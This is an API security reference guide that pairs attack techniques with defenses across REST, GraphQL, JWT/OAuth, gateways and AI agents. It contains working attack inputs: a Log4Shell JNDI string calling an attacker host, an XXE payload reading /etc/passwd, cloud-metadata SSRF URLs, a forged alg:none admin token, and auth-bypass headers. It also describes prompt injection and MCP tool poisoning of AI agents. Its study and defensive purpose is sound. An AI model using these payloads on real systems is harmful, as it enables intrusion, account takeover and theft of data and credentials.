Comprehensive API Security Guide#
A practitioner’s reference for API security — attack surface, OWASP API Top 10 exploitation, authentication and authorization bypasses, GraphQL-specific attacks, rate limit evasion, API gateway hardening, open banking compliance, AI/MCP risks, real-world chains, and detection/prevention. Compiled from 49 research sources.
Table of Contents#
- Fundamentals
- API Styles: REST vs GraphQL vs gRPC vs SOAP
- API Recon & Attack Surface Discovery
- OWASP API Security Top 10 (2023)
- OWASP Web Top 10 (2025) — API Implications
- BOLA / IDOR Deep Dive
- Broken Authentication & Token Attacks
- BOPLA: Mass Assignment & Excessive Data Exposure
- Broken Function Level Authorization (BFLA)
- Unrestricted Resource Consumption & Rate Limit Bypasses
- Business Flow Abuse
- SSRF in APIs
- Security Misconfiguration & Improper Inventory
- API Gateway Security
- Unsafe Consumption of Third-Party APIs
- GraphQL-Specific Attacks
- JWT & OAuth 2.0 Exploitation
- Injection in APIs
- HTTP Request Smuggling in API Gateways
- API Key & Secret Leak Detection
- AI, MCP & Agentic API Risks
- Open Banking & E-Commerce API Security
- Real-World CVEs & Breach Chains
- Tools & Automation
- Detection & Prevention
- Testing Checklist
1. Fundamentals#
APIs now account for ~83% of web traffic and over 71% of all web requests. The average cost of an API breach is $4.88M (T-Mobile 2023, 37M users affected). API attacks increased 10-13x in 2025 (Indusface), 57% of organizations experienced at least one API-related data breach in the past two years (Traceable AI), and 97% of API vulnerabilities can be exploited with a single request (Wallarm 2026). Unlike traditional web apps, APIs expose more endpoints, lack a constraining UI, and are often protected by weaker compensating controls because developers assume machine-to-machine trust.
Why APIs fail differently from web apps:
| Factor | Web App | API |
|---|---|---|
| UI constrains input | Yes | No — any parameter can be sent |
| Discovery | Crawl HTML | Requires schemas / JS parsing / brute-force |
| Auth model | Sessions + CSRF tokens | Bearer tokens, API keys, mTLS |
| Object references | Indirect | Direct IDs in URLs (/api/users/123) |
| Rate limiting | Per-session/browser | Per-token, frequently absent |
| State | Server-side | Often stateless — each request fully authz’d |
| Error visibility | Hidden | Verbose by design |
Impact spectrum: Information disclosure → horizontal privilege escalation → vertical privilege escalation → data exfiltration → account takeover → financial fraud → full tenant compromise.
2. API Styles: REST vs GraphQL vs gRPC vs SOAP#
| Feature | REST | GraphQL | gRPC | SOAP |
|---|---|---|---|---|
| Transport | HTTP/1.1+, JSON | HTTP POST, JSON | HTTP/2, Protobuf | HTTP, XML |
| Discovery | OpenAPI/Swagger | Introspection | .proto reflection | WSDL |
| Endpoint model | Resource per URL | Single /graphql | Service/method | Single /service |
| Versioning | URL or header | Schema evolution | Backward-compat protos | Namespace |
| Typical bugs | BOLA, BFLA, mass assign | Introspection, batching, depth DoS | Reflection exposed, missing auth | XXE, wrapping, WSDL leak |
| Rate-limit quirks | Path-based | Alias/batch bypass | Streaming bypass | Per-envelope |
| Fuzzing | Swagger replay | Query mutation | Protoc + grpcurl | SOAPUI |
Quick fingerprinting#
# REST/Swagger
/openapi.json /swagger.json /swagger/index.html /api-docs /v1/api-docs
/actuator/mappings /routes /api/v1 /api
# GraphQL
/graphql /api/graphql /graphql/api /v1/graphql /query /gql
Probe: query={__typename}
# gRPC-Web
Content-Type: application/grpc-web+proto
Service reflection: grpcurl -plaintext host:443 list
# SOAP
?wsdl /services/ /ws/ Content-Type: text/xml; action:"..."
3. API Recon & Attack Surface Discovery#
Documentation discovery paths#
| Path | Tech |
|---|---|
/swagger/index.html, /swagger-ui.html | Swagger UI |
/openapi.json, /v3/api-docs | OpenAPI 3 / Springfox |
/api-docs, /api/docs | Generic |
/actuator/* | Spring Boot — /env, /heapdump, /mappings |
/graphql, /playground, /altair | GraphQL |
/swagger-resources | Swagger config |
/routes, /rails/info/routes | Rails |
/_debug_toolbar__/, /__debug__/ | Django/Flask |
Hidden endpoint mining#
- Walk JavaScript bundles —
LinkFinder,JSMiner,secretfinder - Grep for
fetch("/api/,axios.get("/v1/,.ajax({url: - Param Miner (Burp BApp) — up to 65k param names per request
- Content Discovery /
ffufwithapi-endpoints.txt,common-api-params.txt - Google dorks:
inurl:swagger.json site:target.com,inurl:api/v1 filetype:json waybackurls,gau,katanafor historical endpoints (deprecated versions often still live)- Mobile apps: decompile APK, grep smali/strings for URLs and API keys
HTTP methods enumeration#
Enumerate every endpoint with OPTIONS, GET, POST, PUT, PATCH, DELETE, HEAD, TRACE. Admin-only mutations are frequently reachable with POST removed from docs but alive.
HTTP verbs to cycle: GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD, TRACE, CONNECT
Content types to flip: application/json, application/xml, application/x-www-form-urlencoded,
text/xml, multipart/form-data, application/yaml, text/plain
Version enumeration#
Downgrade checks — /api/v1/ often lacks fixes shipped to /api/v3/. Try:
/api/v1/users /api/v2/users /api/v3/users
/api/beta/users /api/internal/users /api/private/users
/api/dev/users /api/staging/users
X-API-Version: 1
Accept: application/vnd.company.v1+json
4. OWASP API Security Top 10 (2023)#
| ID | Name | Short description | Primary control |
|---|---|---|---|
| API1 | Broken Object Level Authorization | Client-supplied ID trusted without ownership check | Per-request object authz middleware |
| API2 | Broken Authentication | Weak tokens, improper session/token validation | Short-lived tokens, MFA, rotation |
| API3 | Broken Object Property Level Authorization | EDE + mass assignment at field level | Field allowlist / schema projection |
| API4 | Unrestricted Resource Consumption | CPU/memory/cost exhaustion | Quotas, depth limits, timeouts, budgets |
| API5 | Broken Function Level Authorization | Role boundary not enforced per function | RBAC/ABAC, route isolation |
| API6 | Unrestricted Access to Sensitive Business Flows | Legit endpoint abused at scale | Step tokens, velocity rules, async queues |
| API7 | Server-Side Request Forgery | Unvalidated outbound fetch | URL allowlist, private-range denylist, IMDSv2 |
| API8 | Security Misconfiguration | Default creds, verbose errors, CORS wildcards | Hardened baselines, IaC checks |
| API9 | Improper Inventory Management | Shadow/zombie APIs, old versions alive | Schema-traffic diff, deprecation gates |
| API10 | Unsafe Consumption of APIs | Trusting third-party responses | Validate responses, mTLS, kill-switch |
2019 → 2023 category changes#
| 2019 | 2023 | Reason |
|---|---|---|
| API3 Excessive Data Exposure + API6 Mass Assignment | API3 BOPLA | Both are field-level auth failures |
| API4 Lack of Resources & Rate Limiting | API4 Unrestricted Resource Consumption | Broadens to CPU/memory/downstream cost |
| — | API6 Unrestricted Business Flows | New — business logic abuse |
| — | API7 SSRF | Promoted to top-level — cloud metadata risk |
| API10 Insufficient Logging | API10 Unsafe Consumption | Supply chain trust |
5. OWASP Web Top 10 (2025) — API Implications#
The OWASP Web Application Top 10 was updated in 2025 (8th edition, analyzing 589 CWEs across 2.8M applications). While distinct from the API Security Top 10 (2023), the Web Top 10 has significant API overlap and introduced structural changes that affect API practitioners.
| Rank | Category | Change from 2021 |
|---|---|---|
| A01 | Broken Access Control | Stays #1; SSRF folded in (no longer standalone) |
| A02 | Security Misconfiguration | Up from #5 — 3% of apps affected |
| A03 | Software Supply Chain Failures | New — expands “Vulnerable Components”; highest exploit/impact scores |
| A04 | Cryptographic Failures | Down from #2 |
| A05 | Injection | Down from #3; 38 CWEs |
| A06 | Insecure Design | Down from #4 (industry improving) |
| A07 | Authentication Failures | Renamed from “Identification and Authentication Failures” |
| A08 | Software or Data Integrity Failures | Stays #8 |
| A09 | Security Logging & Alerting Failures | Renamed to emphasize alerting |
| A10 | Mishandling of Exceptional Conditions | New — improper error handling, fail-open |
Key API implications#
- SSRF consolidated under Broken Access Control (A01): Reflects that SSRF is fundamentally an access control failure. API7:2023 in the API Top 10 remains standalone — practitioners should test for both.
- Software Supply Chain Failures (A03): APIs consuming third-party libraries, SDK dependencies, and build-pipeline artifacts are in scope. PCI DSS 4.0.1 Requirement 6.3.2 now mandates API inventory including third-party components.
- Mishandling of Exceptional Conditions (A10): APIs that fail open on parsing errors, return verbose stack traces, or skip authz on exception paths are directly covered. Test: send malformed JSON, oversized payloads, unexpected Content-Types and check whether error responses bypass normal access controls.
- Security Misconfiguration (#2 rise): Configuration-driven behavior (feature flags, CORS, gateway rules, cloud IAM) continues to be the primary source of API misconfigurations.
6. BOLA / IDOR Deep Dive#
BOLA tops the list because it is easy to exploit (just swap an ID), hard to detect (stateful; scanners without auth context miss it), and bypasses traditional defenses (WAFs cannot know your ownership model). In the Wallarm Q2 2025 ThreatStats report, BOLA accounted for the majority of API-related Known Exploited Vulnerabilities.
Injection points#
| Location | Example |
|---|---|
| URL path | GET /api/users/123/orders |
| Query string | GET /api/orders?id=123 |
| Request body | {"order_id": 123} |
| Header | X-User-Id: 123, X-Account-Id: abc |
| JWT claim (unsigned portion) | sub, tenant_id — server trusts without re-check |
| Nested object reference | {"user": {"id": 123}} |
| GraphQL variable | query { product(id: 3) { ... } } |
Exploitation patterns#
# Horizontal (swap to peer tenant/user)
GET /api/v1/users/12345/invoices → GET /api/v1/users/12346/invoices
# Null / type confusion
GET /api/v1/users/null/documents
GET /api/v1/users/0/documents
GET /api/v1/users/[]/documents
GET /api/v1/users/12345%00/documents
# Wildcard
GET /api/v1/users/*/documents
# Case sensitivity / encoding
GET /api/v1/Users/12346 (vs Users)
GET /api/v1/users/12%334 (URL-encoded 3)
# Wrap in array (JSON parser promotion)
{"user_id": [12346, 12345]}
# HTTP method swap
GET /api/orders/123 → 200
PUT /api/orders/123 → 200 (missing auth on write)
DELETE /api/orders/123 → 204
# Version downgrade
/api/v1/users/{id} (no auth) vs /api/v2/users/{id} (fixed)
Real-world BOLA#
| Target | Impact |
|---|---|
| Peloton (2021) | All account profiles readable via user_id swap |
| Sapphos dating app (2025) | Names, birthdates, ID verification selfies exposed; app shut down (17K users) |
| Grafana CVE-2024-1313 (2024) | Low-priv user deletes any org’s dashboard snapshots via DELETE /api/snapshots/{key}; weak self-assigned keys enable brute-force |
| USPS Informed Visibility (2018) | 60M accounts exposed |
| T-Mobile (2023) | 37M records via API |
Detection checklist#
- Every object reference (IDs, GUIDs, slugs, emails) swapped cross-tenant → must 403/404
- Sequential enumeration across known endpoints
- Test with no auth, low-privilege token, peer token, admin token
- Try expired/deleted/soft-deleted objects — often still readable
- Check all representations: int, string, array, object, null
- Test nested relationships (
/orders/{id}/items/{item_id}— item_id often unchecked)
7. Broken Authentication & Token Attacks#
Token types and common failures#
| Type | Common failure |
|---|---|
| API key (static) | Leaked in GitHub/JS/mobile app; no rotation; no scope |
| Basic auth | Reused password; base64 isn’t encryption |
| Session cookie | CSRF, session fixation, not HttpOnly |
| JWT | alg:none, weak HMAC, key confusion, missing exp |
| OAuth 2.0 access token | Over-scoped, long-lived, bearer everywhere |
| mTLS cert | Weak CA, no revocation, wildcard CN |
| HMAC request signing | Replayable without nonce/timestamp |
Auth bypass techniques#
# Header injection bypass
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Custom-IP-Authorization: 127.0.0.1
X-User-Id: 1 (trusted by backend behind gateway)
# Path confusion
GET /admin/users → 403
GET /admin/../admin/users → 200
GET //admin/users
GET /admin%2fusers
GET /admin;.json
# Case / trailing slash
GET /Admin/users → bypasses lowercased-only regex
GET /admin/users/ vs /admin/users
# HTTP method override
POST /api/admin/users
X-HTTP-Method-Override: PUT
_method=DELETE (Rails)
Brute-force and credential stuffing#
- Login endpoints with no CAPTCHA / no velocity checks
- Password reset enumeration — different response for existing vs non-existing email
- MFA bypass: resend endpoint without throttling, skip step by replaying pre-MFA token
- OTP race conditions
- Password reset token guessable / returned in response / logged server-side
8. BOPLA: Mass Assignment & Excessive Data Exposure#
Excessive Data Exposure (response-side)#
API returns full DB object; client filters. Attackers read fields not shown in UI.
GET /api/users/me
{
"id": 123,
"name": "alice",
"email": "alice@example.com",
"password_hash": "$2b$...", ← leaked
"reset_token": "abc123", ← leaked
"is_admin": false,
"stripe_customer_id": "cus_...", ← leaked
"ssn": "***-**-1234", ← leaked
"internal_notes": "VIP" ← leaked
}
Test: Intercept every response. Diff against what the UI displays. Any extra field = finding.
Mass Assignment (request-side)#
Framework auto-binds request body to model. Attacker adds extra fields.
PATCH /api/users/me
{
"email": "new@example.com",
"is_admin": true, ← mass assign privilege
"email_verified": true, ← bypass verification
"balance": 9999999, ← tamper state
"role": "admin",
"tenant_id": 1 ← cross-tenant
}
Framework-specific binders:
| Framework | Binder | Safe mechanism |
|---|---|---|
| Rails | User.update(params[:user]) | strong_parameters, permit(...) |
| Django REST | ModelSerializer | fields = [...] explicit |
| Spring | @ModelAttribute | @JsonIgnore, DTO projection |
| .NET | Model binding | [Bind(Include="...")], view models |
| Express/Mongoose | new User(req.body) | Schema-level select: false |
| Laravel | $user->fill($request->all()) | $fillable / $guarded |
Hidden field discovery#
GET /api/users/123→ note every returned field- Try each field name in
PATCH /api/users/mebody - Look for 200 vs 400 behavior difference
- Confirm with boolean-flag test: set
is_admin: "foo"— if behavior differs fromis_admin: true, field is bound
9. Broken Function Level Authorization (BFLA)#
BFLA is privilege role escalation: user A can call endpoints that should be admin-only. Different from BOLA (which is object-level).
Test matrix#
For each endpoint, run: anonymous, low-priv, peer, admin. Any endpoint that should return 403 but returns 200 for low-priv is a finding.
Common patterns#
# Hidden admin path
POST /api/users (any)
POST /api/admin/users (admin) ← try as low-priv
# Method swap
GET /api/users/123 (any)
DELETE /api/users/123 (admin) ← try as low-priv
# Role param injection
POST /api/signup
{"email": "...", "password": "...", "role": "admin"}
# Trusted header from gateway
X-User-Role: admin
X-Is-Admin: true
X-Roles: ["admin","user"]
10. Unrestricted Resource Consumption & Rate Limit Bypasses#
Classic resource attacks#
| Attack | Vector |
|---|---|
| Requests/sec flood | Login, search, export endpoints |
| Large payload | 100MB JSON, deeply nested objects |
| Expensive query | ?limit=100000, unfiltered joins |
| Regex catastrophic backtracking | ReDoS in email/phone validators |
| Memory bombs | Billion-laughs XML, zip bombs on upload |
| Downstream call amplification | One API call triggers N backend calls |
| Email/SMS quotas | Unrate-limited forgot-password / OTP endpoints ($$$) |
| LLM/AI cost abuse | Scripted prompt submissions to metered AI API endpoints inflate third-party bills |
| High-latency endpoint abuse | Repeated expensive report generation / PDF export / analytics queries |
| Data exfiltration via response size | Crafted queries returning unusually large responses for incremental data extraction |
| Payload expansion (data bombs) | Small payloads (zip bombs, billion-laughs, deeply nested JSON) that expand massively during processing |
Rate limit bypasses#
# IP rotation headers (WAF / gateway trusts)
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Client-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
X-Remote-IP: 1.2.3.4
X-Host: attacker.com
Forwarded: for=1.2.3.4
CF-Connecting-IP: 1.2.3.4
# Case / trailing slash (limit keyed on exact path)
/api/login vs /api/Login vs /api/login/
# Parameter padding (cache-key confusion)
/api/login?x=1 /api/login?x=2 /api/login?x=3
# Multiple accounts
Register N accounts, rotate tokens
# HTTP/2 rapid reset (CVE-2023-44487)
Abuse HTTP/2 stream reset for amplification
# GraphQL alias batching
query {
a1: login(u:"admin", p:"pass1") { token }
a2: login(u:"admin", p:"pass2") { token }
...
a1000: login(u:"admin", p:"pass1000") { token }
}
Rate limit detection#
Look for absence of X-RateLimit-Remaining, Retry-After, 429. Test each endpoint independently — per-endpoint limits often missing while global limits exist.
11. Business Flow Abuse#
Legitimate endpoints, abused at scale. WAFs don’t catch because every request is “valid.”
| Flow | Abuse |
|---|---|
| Checkout / ticket purchase | Scalping, inventory hoarding |
| Gift card redemption | Brute-force codes |
| Referral bonuses | Sybil farming |
| Loyalty points | Automated accrual |
| Review/rating | Fake reviews |
| Forgot password | Account enumeration, email bombing |
| Discount code application | Stacking, brute-force |
| Account signup | Bot registration |
| Content scraping | Data exfiltration |
Defenses#
- Step tokens (HMAC over flow state) — binds cart → checkout
- Velocity rules per user/device/ASN
- Idempotency keys on mutating endpoints
- Expose async jobs for bulk ops (with review) instead of sync endpoints
- Device fingerprinting + behavior analytics
12. SSRF in APIs#
API7 in the 2023 list. APIs are a rich SSRF surface because they frequently accept webhooks, avatar URLs, PDF/HTML rendering URLs, and OAuth/OIDC configuration URLs.
API-specific SSRF sinks#
| Endpoint type | Parameter |
|---|---|
| Webhook registration | callback_url, notification_url, target |
| Avatar/logo upload | image_url, profile_picture |
| URL preview / link unfurl | url, link |
| OpenID Connect discovery | issuer, .well-known/openid-configuration URL |
| SAML metadata | metadata_url |
| OAuth client registration | redirect_uri, jwks_uri |
| Document/PDF generation | html_url, template_url |
| RSS / import feeds | feed_url |
| File import from URL | source_url |
Cloud metadata quick hits#
AWS IMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/
AWS IMDSv2: requires PUT /api/token first — blocks simple SSRF
GCP: http://metadata.google.internal/computeMetadata/v1/ (needs Metadata-Flavor: Google)
Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (needs Metadata:true)
DigitalOcean:http://169.254.169.254/metadata/v1/
Alibaba: http://100.100.100.200/latest/meta-data/
Mitigation: Enforce IMDSv2 + metadata hop limits = 1. Deny private ranges by default in fetch libraries. Require explicit allowlist of hostnames for outbound fetches.
(See separate SSRF guide for comprehensive bypass techniques.)
13. Security Misconfiguration & Improper Inventory#
Misconfig hitlist#
# CORS
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true ← dangerous combo
Access-Control-Allow-Origin: null ← bypasses with sandboxed iframe
Origin reflection without allowlist
# Verbose errors
Stack traces, SQL queries, file paths, internal hostnames
Swagger/GraphQL introspection in production
# Headers missing
Strict-Transport-Security
Content-Security-Policy
X-Content-Type-Options: nosniff
Cache-Control: no-store (for PII responses)
# Default credentials
admin:admin, actuator:actuator, tomcat:tomcat
# Debug endpoints
/actuator/env, /actuator/heapdump, /actuator/gateway/routes
/_debug, /__debug__, /debug/pprof
/swagger, /graphql-playground in prod
Real-world misconfig examples#
- SVR Tracking (2017): Misconfigured API exposed 500k tracking devices
- FleetSecure (2024):
X-Api-Versionheader injected JNDI lookup → RCE - Spring Boot Actuator:
/envleaks secrets,/heapdumpdumps memory,/jolokia+ JMX → RCE
Improper Inventory (API9) — shadow and zombie APIs#
| Problem | Example |
|---|---|
| Shadow API | Undocumented /internal/* reachable externally |
| Zombie API | /api/v1/ deprecated but still running without fixes |
| Staging bleed | dev.api.example.com with prod data |
| Test hosts in prod | /api/test/, /api/sandbox/ |
| Forgotten regions | us-west-2 copy without the patches deployed to us-east-1 |
Defense: Diff OpenAPI spec ↔ observed traffic nightly. Block calls to non-owned subdomains. Alert on auth-less endpoints receiving PII. Gate merges on schema deprecation plans.
14. API Gateway Security#
API gateways are single enforcement points for authentication, authorization, and rate limiting. A single flaw bypasses all controls simultaneously.
Kong API Gateway misconfigurations (Trend Micro case study)#
| Misconfiguration | Risk |
|---|---|
| Admin API forwarded to public port (8001/8443) | Full gateway config readable/writable — routes, credentials, secrets |
| Missing firewall rules on cloud instances | Admin API reachable from internet; Shodan shows rising exposure since 2021 |
| Secrets stored in plaintext (default) | API keys, OAuth tokens, backend credentials recoverable from DB dump |
| Community version lacks encryption/vault support | No encrypted storage for key-auth plugin; enterprise key-auth-enc needed |
| Sandbox disabled for serverless Lua plugins | Untrusted Lua code execution = RCE on gateway |
| Docker Hub examples override localhost binding | Copy-paste deployments expose admin API on all interfaces |
Key insight: Kong stores every secret as plaintext by default. The community key-auth plugin does not support encryption even in enterprise. Use key-auth-enc or delegate to an external vault.
AWS API Gateway authorizer caching vulnerability#
AWS API Gateway caches authorizer results keyed on the JWT only (not the requested resource). This creates two failure modes:
- False deny: Authorizer returns
AllowforGET /orders/123only. SubsequentGET /orders/456with same JWT is denied from cache even though the user has access. - False allow (security issue): To fix the above, developers return wildcard
arn:aws:execute-api:*:*:*. Now a single valid JWT grants cached access to every resource for the cache TTL — bypassing per-resource authorization entirely.
Mitigation: Include resource identifiers in the cache key (set identitySource to include path/query params), or disable caching and perform authorization in the backend function.
Gateway hardening checklist#
- Admin API bound to localhost only; not forwarded from containers
- Network-level restriction (security group / firewall) on admin ports
- Secrets stored in external vault (HashiCorp Vault, AWS Secrets Manager)
- Authorizer cache keys include resource path, not just JWT
- Lua sandbox enabled; untrusted module imports blocked
- HTTP/2 end-to-end where possible to prevent downgrade smuggling
- RBAC on admin API (enterprise) or proxy-authenticated route to admin
- Plugin encryption/vault support verified before deployment
15. Unsafe Consumption of Third-Party APIs#
Trust boundary doesn’t end at your own gateway. Vendor responses are untrusted input.
Failure modes:
- Vendor returns HTML/script injected in a string field → stored XSS in your UI
- Vendor returns unexpected status code → exception handling reveals internals
- Vendor redirect → SSRF in your follow-up fetch
- Vendor response not schema-validated → type confusion
- Vendor breach → stolen API key used to query your backend
Controls:
| Control | Why |
|---|---|
| mTLS to partners | Prevents impersonation |
| Strict JSON schema on responses | Blocks drift, injection |
| Egress allowlist | Stops lateral movement |
| Separate outbound queue per vendor | Isolates cascading failure |
| Kill-switch per integration | Revoke compromised vendor instantly |
| Key rotation ≤ 90 days | Limits leaked-key blast radius |
| Separate egress IP per partner | Attribution |
16. GraphQL-Specific Attacks#
Endpoint discovery#
Common paths: /graphql /api/graphql /graphql/api /v1/graphql /query /gql
Universal probe: {__typename} → returns {"data":{"__typename":"query"}}
Try POST application/json, then GET with ?query=, then POST x-www-form-urlencoded (CSRFable).
Introspection attack#
query IntrospectionQuery {
__schema {
queryType { name }
mutationType { name }
subscriptionType { name }
types { ...FullType }
}
}
If blocked, try bypasses:
# Newline between keyword and brace (naive regex bypass)
{"query": "query{__schema\n{queryType{name}}}"}
# Method swap — often POST blocked, GET allowed
GET /graphql?query=query%7B__schema%0A%7BqueryType%7Bname%7D%7D%7D
# Content-type swap
Content-Type: application/x-www-form-urlencoded
query=query{__schema{queryType{name}}}
Clairvoyance (suggestion-based schema recovery)#
Apollo returns Did you mean 'productInformation'? on typos. Tool: Clairvoyance recovers schema even with introspection disabled.
Alias-based rate limit bypass#
Single HTTP request, N operations:
query bruteDiscount {
c1: checkCode(code: "ABC001") { valid }
c2: checkCode(code: "ABC002") { valid }
c3: checkCode(code: "ABC003") { valid }
...
c1000: checkCode(code: "ABC1000") { valid }
}
Also used for login brute force, OTP brute force, email enumeration.
Batching bypass#
[
{"query": "mutation { login(u:\"a\", p:\"p1\") { token } }"},
{"query": "mutation { login(u:\"a\", p:\"p2\") { token } }"},
...
]
Query depth / field duplication DoS#
query {
user {
posts {
author {
posts {
author {
posts { ... recursive ... }
}
}
}
}
}
}
Unbounded recursion crushes resolvers. Mitigations: graphql-depth-limit, graphql-cost-analysis, persisted queries.
GraphQL CSRF#
If endpoint accepts GET or x-www-form-urlencoded POST, state-changing mutations become CSRFable. Must force application/json content-type and reject everything else.
Field-level authorization failure#
REST secures entire endpoints. GraphQL demands field-level authorization. An authenticated user accessing a user profile should not see internal notes or admin-only fields, but GraphQL returns all requested fields if the top-level query succeeds without field-level controls. 70% of organizations now use GraphQL (Wallarm Q2 2025), yet zero GraphQL-specific breaches were reported in Q2 — likely because organizations fail to detect and attribute them, not because GraphQL is safe.
Test: Authenticate as low-priv user, request admin-only fields (e.g., internalNotes, apiKey, adminFlag). If returned, field-level authz is missing.
IDOR via direct argument#
query { product(id: 3) { name, listed } } # Gets delisted product
query { user(id: 1) { email, apiKey } } # Gets other user
GraphQL attack tools#
- InQL (Burp) — schema parsing, query generation, point-and-click mutation testing
- GraphQL Cop — misconfiguration scanner
- GraphQL Voyager — schema visualizer
- Clairvoyance — schema recovery from suggestions
- BatchQL — batch/aliasing tests
- GraphW00F — GraphQL fingerprinting
17. JWT & OAuth 2.0 Exploitation#
JWT attack table#
| Attack | Payload/Trigger |
|---|---|
alg: none | Set header {"alg":"none"}, strip signature |
| Algorithm confusion | Change RS256 → HS256, sign with public key as HMAC secret |
| Weak HMAC secret | Crack with hashcat -m 16500 (wordlists: jwt.secrets.list) |
kid path traversal | "kid": "../../../../dev/null" + empty sig |
kid SQL injection | "kid": "key1' UNION SELECT 'secret" |
jku / x5u header | Point to attacker-controlled JWKS |
| Expired token accepted | No exp validation |
nbf bypass | Future nbf still accepted |
aud/iss not validated | Cross-service token reuse |
| Null signature | header.payload. (empty third segment) |
| JWT in unusual location | ?token=, header, cookie — backend parses all |
# alg:none example
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiIsInJvbGUiOiJhZG1pbiJ9.
Tools: jwt_tool, jwt-cracker, hashcat -m 16500#
OAuth 2.0 attacks#
| Attack | Description |
|---|---|
redirect_uri open redirect | Exact match not enforced — steal code |
redirect_uri path append | https://legit.com/cb/../../attacker |
| Implicit flow token leak | Referer header leak |
| Missing PKCE | Code interception on mobile |
Missing state param | CSRF — account linking |
| Scope escalation | Request admin scope, server grants |
| Mix-up attack | Confuse client between two IdPs |
Cross-site leaks via postMessage | Missing origin check |
response_type=token id_token without nonce | Replay |
| Authorization code reuse | Server doesn’t invalidate on first use |
| Account hijack via email verification | Pre-register victim email before they do |
OIDC-specific#
jwks_uriSSRFissuerinjection- Unvalidated
id_tokensignature audclaim = wrong client_id
18. Injection in APIs#
APIs are injection-rich because they forward raw JSON into backends. Classic injection categories all apply:
| Type | Example |
|---|---|
| SQLi | {"filter": "1 OR 1=1"} in search endpoints |
| NoSQL injection | {"username": {"$ne": null}, "password": {"$ne": null}} |
| Command injection | Filename fields forwarded to shell |
| SSTI | Template engines rendering user input |
| XXE | XML body with external entity |
| XPath injection | XPath query builders |
| LDAP injection | Directory lookup APIs |
| Log4Shell | ${jndi:ldap://attacker} in any logged header (User-Agent, X-Api-Version, Referer) |
| Header injection / CRLF | \r\n into response headers |
| Server-Side Parameter Pollution | q=normal&q=../../admin — internal API sees both |
Content-Type flipping#
APIs often secure JSON but unsafe for XML:
POST /api/user
Content-Type: application/xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<user><name>&xxe;</name></user>
19. HTTP Request Smuggling in API Gateways#
Request smuggling exploits disagreements between how a gateway and backend determine where one HTTP request ends and another begins. In API gateway architectures the impact is amplified because gateways multiplex many client connections over shared backend connections.
Attack types#
| Type | Mechanism |
|---|---|
| CL.TE | Gateway reads Content-Length, backend honors Transfer-Encoding: chunked — leftover bytes become smuggled request |
| TE.CL | Gateway processes Transfer-Encoding, backend reads Content-Length — smuggled request left in buffer |
| H2.CL (HTTP/2 downgrade) | Gateway accepts HTTP/2, downgrades to HTTP/1.1 for backend. Content-Length: 0 causes backend to ignore body |
| TE.TE (obfuscated) | Variations like Transfer-Encoding: xchunked, tab chars, line folding trick one parser into ignoring the header |
Real-world gateway smuggling CVEs#
| CVE | Product | Impact |
|---|---|---|
| CVE-2024-53008 | HAProxy | CL/TE inconsistency bypassed ACLs, reached restricted backend endpoints |
| CVE-2023-40225 | HAProxy | Empty Content-Length forwarded in violation of RFC 9110, enabling smuggling |
| CVE-2024-33452 | Kong Gateway / OpenResty | HEAD request with body split into two pipelined requests, bypassing WAF rules |
Detection#
- Timing-based: Send conflicting CL/TE headers; backend timeout confirms parsing disagreement
- Differential response: Smuggle request to non-existent path; 404 on next legitimate request confirms desync
- Automated: Purpose-built tools generate CL.TE, TE.CL, TE.TE, and H2 downgrade payloads across every endpoint
Prevention#
- Use HTTP/2 end-to-end (frame-based length eliminates CL/TE ambiguity)
- Disable backend connection reuse (isolates smuggling impact)
- Normalize and reject ambiguous requests at gateway (reject requests with both CL and TE)
- Audit gateway settings after every infrastructure update
20. API Key & Secret Leak Detection#
API keys are the most common credential type leaked in source code, configuration files, and client-side bundles.
Common leak vectors#
| Vector | Example |
|---|---|
| Hardcoded in source | api_key = "1234567890abcdef" |
| Public repos (GitHub) | Committed .env, config.json, .aws/credentials |
| Docker images | Credentials baked into image layers |
| JavaScript bundles | Hardcoded endpoint with embedded token (Azure AD case — 50K users exposed, CloudSEK 2025) |
| Logs / debug output | Keys printed during debugging |
| Mobile apps | Strings in APK/IPA |
Detection tools#
| Tool | Purpose |
|---|---|
| TruffleHog | Scan repos, Docker images, S3 buckets for high-entropy secrets |
| trivy | General vulnerability + secret scanner |
| secrets-patterns-db | Largest open-source regex database for secret detection |
| KeyHacks | Validate leaked API keys against service endpoints |
| Nuclei token-spray templates | Test leaked tokens against many API service endpoints |
| badsecrets / crapsecrets | Detect known/weak secrets across web frameworks |
| sign-saboteur (Burp) | Edit, sign, verify signed web tokens |
Validation workflow#
- Identify key type using
secrets-patterns-dbregex matching - Validate key is live using
keyhacksornuclei -t token-spray/ -var token=token_list.txt - Determine scope — what resources/APIs does the key grant access to?
- Report with impact: data access, financial exposure, lateral movement potential
21. AI, MCP & Agentic API Risks#
AI agents (LLM-powered systems calling APIs autonomously) introduce a new attack surface. The Wallarm 2026 API ThreatStats Report found MCP vulnerabilities grew 270% between Q2 and Q3 2025, and AI-specific API CVEs jumped from 19 to 34 in a single quarter.
Emerging threat vectors#
| Threat | Description |
|---|---|
| MCP tool poisoning | Attacker injects hidden instructions into context window, causing agent to leak data or call unauthorized APIs |
| Prompt injection via API | Malicious input in API response triggers unintended agent behavior |
| LLM cost abuse (API4) | Automated prompt submissions to metered LLM endpoints inflate third-party bills |
| AI bot recon | AI bots learn from API responses in real-time, rapidly identifying misconfigurations |
| Delegated authority escalation | Agent acts with user’s OAuth scope but makes decisions the user didn’t explicitly authorize |
| Harvest-now-decrypt-later | Intercepted API traffic stored for future quantum decryption |
OWASP Top 10 for Agentic Applications (2026)#
OWASP released a dedicated Top 10 for Agentic Applications (March 2026) covering:
- Goal hijacking and insecure inter-agent communication
- Excessive agency / over-permissioned tool calls
- Inadequate sandboxing of agent execution environments
- Supply chain risks in MCP server dependencies
Defensive controls for AI APIs#
- Disable default MCP endpoints; enforce fine-grained access controls per tool
- Deep inspection of every MCP tool invocation and parameter
- Context-aware access control evaluating model state, device posture, user behavior
- Rate limit and budget cap on LLM/AI API calls (prevents API4 cost abuse)
- Treat all AI agent API calls as untrusted — validate responses, enforce output schemas
